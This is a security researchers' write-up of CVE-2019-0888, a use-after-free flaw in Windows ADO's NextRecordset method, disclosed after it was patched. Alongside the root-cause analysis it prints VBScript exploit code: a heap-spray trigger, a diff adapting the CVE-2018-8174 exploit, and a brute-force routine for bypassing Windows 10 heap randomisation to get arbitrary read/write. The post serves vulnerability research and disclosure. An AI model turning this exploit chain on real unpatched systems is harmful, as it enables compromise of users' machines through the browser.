The SophosLabs Offensive Security Research team discovered a security vulnerability in the ActiveX Data Objects (ADO) component of Windows. Microsoft resolved the issue in the June 2019 edition of Patch Tuesday. It has been a month since the patch was released, so we’ve decided to publish the following explanation of the bug, and how to exploit it to achieve an ASLR bypass and Read/Write primitive.
The article references symbols and types from the 32-bit vbscript.dll file, version 5.812.10240.16384, from Windows 10.
Background
ADO is an API to access and manipulate data through an OLE database provider. In our examples to follow, the OLE DB provider is a Microsoft SQL server. Different programs, using a variety of languages, can use this API.
In the scope of this article, we will make use of ADO from VBScript code running in Internet Explorer, and connect to a Microsoft SQL Server 2014 Express instance running locally.
Here’s an example of a basic VBScript script that establishes a connection to the local database (named SQLEXPRESS) by using an ADO Recordset object:
On Error Resume Next
Set RS = CreateObject("ADOR.Recordset")
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
"Provider=SQLOLEDB;" & _
"Data Source=.\SQLEXPRESS;" & _
"Initial Catalog=master;" & _
"Integrated Security=SSPI;" & _
"Trusted_Connection=True;"
If Err.Number <> 0 Then
MsgBox("DB open error")
Else
MsgBox("DB opened")
End If
Establishing a connection using ADO from Internet Explorer prompts this security warning, which makes the bug inconvenient to exploit unobtrusively.
The Bug
The Recordset
Object method NextRecordset
improperly handles its RecordsAffected
parameter.
When an application calls this method with an Object-typed variable passed to it as the RecordsAffected
parameter, the method will leave that object’s reference count decreased by 1, while keeping the variable referenceable.
When the reference count drops to 0, the operating system destroys the object and deallocates its memory. However, since the object can still be referenced by its variable name, further usage of that variable will cause a Use-After-Free condition.
These are the important bits about NextRecordset
‘s functionality from its documentation:
-
- Use the NextRecordset method to return the results of the next command in a compound command statement or of a stored procedure that returns multiple results.
- The NextRecordset method is not available on a disconnected Recordset object.
- Parameters: RecordsAffected
Optional. A Long variable to which the provider returns the number of records that the current operation affected.
Simply put, the method works on a connected Recordset object, retrieves and returns some sort of database related data, and writes back a number to the provided parameter.
The method is implemented in library msado15.dll
with the function CRecordset::NextRecordset
. This is how NextRecordset
is defined in the library’s COM interface:
If the method is successful at retrieving the database-related data, it calls the internal function ProcessRecordsAffected
to handle the assignment of the number of affected records to parameter RecordsAffected
.
Inside ProcessRecordsAffected
, the library creates a local variable, called local_copy_of_RecordsAffected
, shallow-copies the RecordsAffected
parameter into it, and then calls the VariantClear
function:
VariantClear
is described here. To quote:
“The function clears a VARIANTARG by setting the vt field to VT_EMPTY.“
“The current contents of the VARIANTARG are released first. […] If the vt field is VT_DISPATCH, the object is released.”
VBScript object variables are, essentially, wrapped ActiveX objects, implemented in C++. They are created by the function CreateObject, e.g. variable RS
in the above code sample.
VBScript objects are represented internally as Variant structures of the type VT_DISPATCH. Therefore, in this case, the call to VariantClear
will set local_copy_of_RecordsAffected
‘s type to VT_EMPTY, and perform a “release” on it, meaning it will invoke its underlying C++ object’s ::Release method, which decrements the object’s reference count by 1 (and destroys the object if the reference count reaches 0).
After the VariantClear
call, the function continues as follows:
This function converts the 64-bit integer variable, RecordsAffectedNum,
into a signed 32-bit integer (referred to here as type VT_I4), and passes that value to VariantChangeType in an attempt to convert it to a variant of type RecordsAffected_vt
, which is VT_DISPATCH in the vulnerable scenario.
No logic exists to convert a VT_I4 type into a VT_DISPATCH type, so VariantChangeType
will always fail here, and the early return path will take place. Since RecordsAffected
is defined with the out attribute in its COM interface declaration, the way ProcessRecordsAffected
handles RecordsAffected
will have an impact on the program:
“The [out] attribute indicates that a parameter that acts as a pointer and its associated data in memory are to be passed back from the called procedure to the calling procedure.“
Simply put, RecordsAffected
is passed back to the program after NextRecordset
returns, either in its original state or whatever state it was modified into by ProcessRecordsAffected
. Looking back at the execution path the function undergoes in a vulnerable scenario, we can see it reaches the return statement without ever directly modifying RecordsAffected
.
VariantClear
is called on a copy of RecordsAffected
, so it triggers a release of the copy’s underlying C++ object, and changes the copy’s type to VT_EMPTY.
Since the copying was done in a shallow way, both RecordsAffected
and its copy contain the same pointer to the underlying C++ object; A release of one of the variables is equivalent to a release of the second. However, changing the copy’s type to VT_EMPTY will have no effect on RecordsAffected
– its type will remain intact.
Since RecordsAffected
‘s type has not been emptied, it will be passed back to the program and remain referenceable, despite its underlying C++ object being released and, potentially, deallocated.
Considering how the bug is seemingly triggered on every call to the method, how does it manage to complete a legitimate call without crashing?
Looking back at the documentation, it specifies that RecordsAffected
is supposed to be of type Long (a variant of type VT_I4). VariantClear
does not have the same destructive effect on VT_I4 variants as it does on VT_DISPATCH variants (releasing its object). Therefore, as long as calls to the method use a RecordsAffected
that fits the intended type, there will be no negative side effects to the program.
Fix
The bug was fixed in Microsoft’s June 2019 edition of Patch Tuesday, and was assigned CVE-2019-0888.
The function ProcessRecordsAffected
was patched to omit the local variable local_copy_of_RecordsAffected
, instead operating directly on RecordsAffected
, correctly emptying its type and preventing it from being passed back to the program.
“Dumb” Exploitation
The simplest way to achieve some type of exploit primitive with this bug would be to cause an object to be freed, and then immediately spray the heap with controlled-data memory allocations of the same size as the freed object, so that the memory that used to hold the object now holds our own arbitrary data.
On Error Resume Next
Set RS = CreateObject("ADOR.Recordset")
Set freed_object = CreateObject("ADOR.Recordset")
' Open Recordset connection to database
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
"Provider=SQLOLEDB;" & _
"Data Source=.\SQLEXPRESS;" & _
"Initial Catalog=master;" & _
"Integrated Security=SSPI;" & _
"Trusted_Connection=True;"
' Connection objects to be used for heap spray later
Dim array(1000)
For i = 0 To 1000
Set array(i) = CreateObject("ADODB.Connection")
Next
' Data to spray in heap: allocation size will be 0x418
' (size of CRecordset in 32-bit msado15.dll)
spray = ChrW(&h4141) & ChrW(&h4141) & _
ChrW(&h4141) & ChrW(&h4141) & _
Space(519)
' Trigger bug
Set Var1 = RS.NextRecordset(freed_object)
' Perform heap spray
For i = 0 To 1000
array(i).ConnectionString = spray
Next
' Trigger use after free
freed_object.Clone()
Line 4 creates a new VBScript object freed_object
, with an underlying C++ object of type CRecordset
, a 0x418-byte-sized structure.
Line 27 decreases freed_object
‘s underlying C++ object’s reference count to 0, and should cause the deallocation of its internal resources.
Line 31 uses the ConnectionString
property of the ADODB.Connection
class to spray the heap. When a string is assigned into ConnectionString
it creates a local copy, allocating a memory chunk with the same size as the assigned string, and copying its contents into it. The spray
string is crafted to result in a 0x418-byte allocation.
Line 35 dereferences freed_object
. At this point, any referencing of this variable will invoke a dynamic dispatch on the underlying C++ object, meaning its virtual table pointer will be dereferenced, and a function pointer will be loaded from that memory. Since the virtual table pointer is located at offset 0 of a C++ object, the value that will be loaded, and later cause a memory access violation exception in the first 4 bytes of spray
, 0x41414141.
To make this primitive useful for actual exploitation, we would need to rely on knowing a readable, controllable memory address in the program’s address space – a feat that is rendered impossible by ASLR. A better approach will have to be used to defeat mitigations like ASLR to exploit this bug on modern systems.
Advanced Exploitation
While looking for existing research on exploitation methods for similar VBScript bugs that can be of help here, we came across CVE-2018-8174. Dubbed the “Double Kill” exploit, it was detected in the wild by security company Qihoo 360 around May 2018. Plenty of articles have been written about dissecting the captured exploit and underlying bug, so for further details we will refer to these:
[1] Analysis of CVE-2018-8174 VBScript 0day, 360 Qihoo
[2] Delving deep into VBScript: Analysis of CVE-2018-8174 exploitation, Kaspersky Lab
[3] Dissecting modern browser exploit: case study of CVE-2018–8174, piotrflorczyk
CVE-2018-8174 is a use-after-free bug in VBScript around the handling of the Class_Terminate
callback function. Essentially, it gave the ability to arbitrarily free a VBScript object but keep it referenceable, similar to the ADO bug’s properties.
The captured exploit implemented a sophisticated technique that employs a type confusion attack to turn the use-after-free capability into an ASLR bypass and read-write-everywhere primitive. The technique itself isn’t useful on its own (without a bug to enable it), and is technically not a bug, so it was never “fixed,” and remains present in the code base. The technique is probably best explained in the article by Piotr Florczyk.
Given the similarities between the 2 bugs, it should be possible to take the commented exploit code for CVE-2018-8174 from Florczyk’s writeup, replace the bug-specific code parts to make use of the ADO bug, and have it successfully work the same way. And, indeed, applying this simple patch…
diff --git a/analysis_base.vbs b/analysis_modified.vbs
index 6c1cd3f..fd25809 100644
--- a/analysis_base.vbs
+++ b/analysis_modified.vbs
@@ -1,3 +1,14 @@
+Dim RS(13)
+For i = 0 to UBound(RS)
+ Set RS(i) = CreateObject("ADOR.Recordset")
+ RS(i).Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
+ "Provider=SQLOLEDB;" & _
+ "Data Source=.\SQLEXPRESS;" & _
+ "Initial Catalog=master;" & _
+ "Integrated Security=SSPI;" & _
+ "Trusted_Connection=True;"
+Next
+
Dim FreedObjectArray
Dim UafArrayA(6),UafArrayB(6)
Dim UafCounter
@@ -101,7 +112,8 @@ Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
- UafArrayA(idx)=0
+ On Error Resume Next
+ Set m = RS(idx).NextRecordset(resueObjectA_arr)
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
@@ -116,7 +128,8 @@ Public Default Property Get P
Dim objectImitatingInteger
P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
For idx=0 To 6
- UafArrayB(idx)=0
+ On Error Resume Next
+ Set m = RS(7+idx).NextRecordset(resueObjectB_int)
Next
Set objectImitatingInteger=New FakeReuseClass
objectImitatingInteger.mem=Empty16BString
@@ -136,19 +149,7 @@ Sub UafTrigger
For idx=20 To 38
Set objectArray(idx)=New ReuseClass
Next
- UafCounter=0
- For idx=0 To 6
- ReDim FreedObjectArray(1)
- Set FreedObjectArray(1)=New ClassTerminateA
- Erase FreedObjectArray
- Next
Set resueObjectA_arr=New ReuseClass
- UafCounter=0
- For idx=0 To 6
- ReDim FreedObjectArray(1)
- Set FreedObjectArray(1)=New ClassTerminateB
- Erase FreedObjectArray
- Next
Set resueObjectB_int=New ReuseClass
End Sub
…produces a working exploit for the ADO bug.
It turns out that this exploit works on systems running Windows 7, but not on Windows 8 or later versions. This is the case with the original captured exploit as well. The exploit breaks due to “Low fragmentation heap (LFH) allocation order randomization”, a security measure for the heap introduced in Windows 8 that breaks simple use-after-free exploitation scenarios.
Bypassing LFH Allocation Order Randomization
Here’s one example of how heap behavior changed after Microsoft introduced LFH allocation order randomization:
Introducing allocation order randomization changed the outcome of malloc->free->malloc execution, from following a LIFO (Last In First Out) logic to being non-deterministic.
Why does this break the exploit? Consider the following excerpt from the commented exploit code:
Class ReplacingClass_Array
Public Default Property Get Q
...
For idx=0 To 6
On Error Resume Next
Set m = RS(idx).NextRecordset(reuseObjectA_arr)
Next
Set objectImitatingArray=New FakeReuseClass
...
In VBScript, all custom class objects are internally represented by the VBScriptClass
C++ class. VBScript calls the function VBScriptClass::Create
when it executes a custom class object instantiation statement (for example, line 8). It makes a 0x44-byte-sized allocation to hold the VBScriptClass
object.
When control reaches line 8, the For loop has just finished destroying reuseObjectA_arr
, which is an instance of custom class ReuseClass
. This will cause the VBScriptClass
destructor to be called, freeing the 0x44 bytes that had been previously allocated. Line 8 then goes on to create a new object, objectImitatingArray
, of a different custom class: FakeReuseClass
.
The basis for a successful run of the type confusion attack is the assumption that objectImitatingArray
will be assigned the same heap memory resources as the just-freed reuseObjectA_arr
. However as noted before, with allocation order randomization enabled, you can’t make this assumption; the randomized heap breaks the exploit.
As a result of the type confusion attack, a memory corruption occurs. The heap allocation where corruption occurs is not the top-level (0x44) allocation of VBScriptClass
itself, but a certain 0x108 bytes sized sub-allocation tied to it, used to store the object’s methods and variables. The function responsible for this sub-allocation is NameList::FCreateVval
and is called shortly after the creation of a VBScriptClass
(see article [2]).
To be more specific about the condition that needs to be met, the type confusion will work if, after the destruction of reuseObjectA_arr
, a new VBScript object receives the same address for its 0x108 allocation as the one reuseObjectA_arr
previously held. Other allocations tied to the two objects, including the 0x44 sized top-level allocation, don’t necessarily have to get matching addresses.
The specifics of the memory corruption part of the technique is not very straightforward to understand and it’s advised to read the Kaspersky background article to get a better understanding of it, but here’s the gist of it.
ReuseClass
‘s method, SetProp
, has the following statement: mem=Value. Value
is an object variable, so its Default Property Getter will have to be invoked before the assignment can be completed.
The VBScript engine (vbscript.dll) calls internal function AssignVar
to perform an assignment of this kind. This is a simplified pseudo-code to explain how it works:
AssignVar(VARIANT *destinationObject, char *destinationVariableName, VARIANT *source) {
// here, destinationObject is a ReuseClass instance, destinationVariableName is "mem", source is <Value>
// get the address of object <destinationObject>'s member variable with the name <destinationVariableName>.
VARIANT *destinationPointer = CScriptRuntime::GetVarAdr(destinationObject, destinationVariableName);
// if the given source is an object, call the object's
// default property getter to get the actual source value
if (source->vt == VT_IDISPATCH) {
VARIANT *sourceValue = VAR::InvokeByDispID(source);
}
// perform the assignment
*destinationPointer = *sourceValue;
}
The function VAR::InvokeByDispID
invokes the source object’s default property getter, allowing us to run arbitrary VBScript code in the midst of AssignVar
‘s execution. If we use that space to trigger the destruction and replacement in memory of destinationObject
(using the bug), we can take advantage of AssignVar
proceeding to perform the assignment into destinationPointer
(line 14) without realizing the memory it points to could have been tampered with.
The memory address being written into is the value returned by CScriptRuntime::GetVarAdr
, which is a pointer to somewhere inside the given object’s 0x108 allocation. Its exact offset into the allocation depends on the given object’s class definition – particularly, how long the names of its methods and fields are.
ReuseClass
and FakeReuseClass
‘s definitions are arranged in a way to force a different offset for common member variable mem
. Doing this, we’re forcing the final assignment to corrupt an object’s mem
variable’s header in order to turn it into an Array type whose base pointer is NULL and its length is 0x7fffffff.
CVE-2018-8174’s exploit uses a one-shot approach for attempting to pull off the type confusion attack, meaning that only a single new object is created after the destruction of reuseObjectA_arr
. As we explained before, this will only reliably work on Windows systems prior to Windows 8, which lack the LFH Allocation Order Randomization feature.
To make this exploit work on Windows 10 systems, we can implement a brute-force approach for attempting the type confusion attack. Instead of creating a single new object, we can mass-create new objects to ensure the freed 0x108 allocation will ultimately get assigned into one of them.
Here’s how the code can be transformed into implementing a brute-force approach:
Set reuseObjectA_arr=New ReuseClass ... Class ReplacingClass_Array Public Default Property Get Q Dim objectImitatingArray Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0 For i=0 To 6 DecrementRefcount(reuseObjectA_arr) Next For i=0 to UBound(UafArrayA) Set objectImitatingArray=New FakeReuseClass objectImitatingArray.mem = FakeArrayString For j=0 To 6 Set UafArrayA(i,j)=objectImitatingArray Next Next End Property End Class
Here’s a visualization of the above code’s logic in action:
After the UafArrayA
array has been mass-filled with new FakeReuseClass
objects and the mem=Value
assignment completes, we can iterate over the array and find the object whose mem
variable has been successfully corrupted to become an array:
For i=0 To UBound(UafArrayA) Err.Clear a = UafArrayA(i,0).mem(Empty16BString_addr) If Err.Number = 0 Then Exit For End If Next If i > UBound(UafArrayA) Then MsgBox("Could not find an object corrupted by reuseObjectA_arr") Else MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")") Set UafArrayA_obj = UafArrayA(i,0) End If
The corrupted object will be the only one not to cause an exception to be thrown on line 3. Once we find it, it can be referenced with any index, allowing to read and write all addresses in the process memory space.
With this fix to the original exploit, it now works on Windows 10 systems as well.
PoC
You can find the proof-of-concept file on the SophosLabs GitHub repository.